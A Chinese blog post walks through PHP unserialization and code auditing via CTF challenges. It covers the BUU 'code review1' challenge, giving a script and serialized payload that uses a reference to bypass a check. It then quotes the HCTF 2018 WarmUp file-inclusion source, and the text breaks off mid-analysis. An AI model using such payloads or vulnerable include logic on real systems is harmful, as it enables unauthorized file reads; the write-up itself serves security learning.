webPHP代码审计与反序列化

一些基础的东西

序列化:serialize()函数

所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。通俗来说,就是把一个对象变成可以传输的字符串。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字

一个大佬总结的不错

对于对象,序列化后的格式为:

其他类型的数据序列化后的格式为:

反序列化 :unserialize()函数

就是把被序列化的字符串还原为对象,转换为php的值,然后在接下来的代码中继续使用。

魔术方法:自动触发的函数。【满足条件自动触发】

code review1

代码如下:/

hlight_file(__FILE__);

class BUU {
public $correct = "";
public $input = "";

public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}

if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}

这个题涉及到php弱类型,百度看一下相关的知识点:

该函数用于打印显示,一个变量的内容与结构,以及类型的信息。

该函数有一个参数,第一个参数(必填).第二个参数(选填参数,N)可以多个参数。

案例1:

输出部分:

array(4) { [0]=> int(1) [1]=> int(2) [2]=> int(3) [3]=> array(3) { [0]=> string(1) "a" [1]=> string(1) "b" [2]=> string(1) "c" } }

案例2:

输出部分:

string(3) "php" float(3.1) bool(true) int(15) array(2) { [0]=> int(1) [1]=> int(2) } object(Admin\Controller\test)#2 (0) { }

严格比较就是说两个参数,不仅类型要相同,值也要相同,上面这个表就很直观地反映了出来。

至于松散比较,两个参数类型就没必要相同,因为类型不同会自动转换,然后再进行比较。

然后开始分析题目的源码,浅分析一下:

先是创建一个名为buu的类,然后创建两个对象。对经过base64编码后的uniqid值赋给correct

然后,通过get和post传参。

然后看一下wp:需要序列化对象:

<?php class BUU{

  public $correct = "";

public $input = ""; }

$a = new BUU();

$a->input = &$a->correct;

echo serialize($a);

结果
O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

[HCTF 2018]WarmUp

一个诡异的笑脸,

访问source.php,得到源码

<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

is_string():检测变量是否是字符串

isset():检测变量是否已设置并且非 NULL

in_array(要搜索的值,要搜索的数组):搜索数组中是否存在指定的值

mb_substr($page,n,m):返回page中从第n位开始,到n+m位字符串的值

mb_strpos():查找字符串在另一个字符串中首次出现的位置

urldecode():将url编码后的字符串还原成未编码的样子

分析: 代码审计下来能看到是要我们输入一个file的参数,只要这个参数不是非空、为字符串类型和能通过自定义的checkFile函数就能直接包含这个文件。

仔细看一下checkFile这个函数,是一个类似白名单的判断的函数。一开始设立了一个白名单,包括两个文件名source.php和hint.php。然后会进行3次白名单的判断,只要成功一次算通过白名单。

第一次判断,没有进行任何操作,直接拿输入的值来进行白名单判断。

又出现了一次同样的界面。

第二次判断,是取输入的值第一个?号前面的字符串来

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

R3ality

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值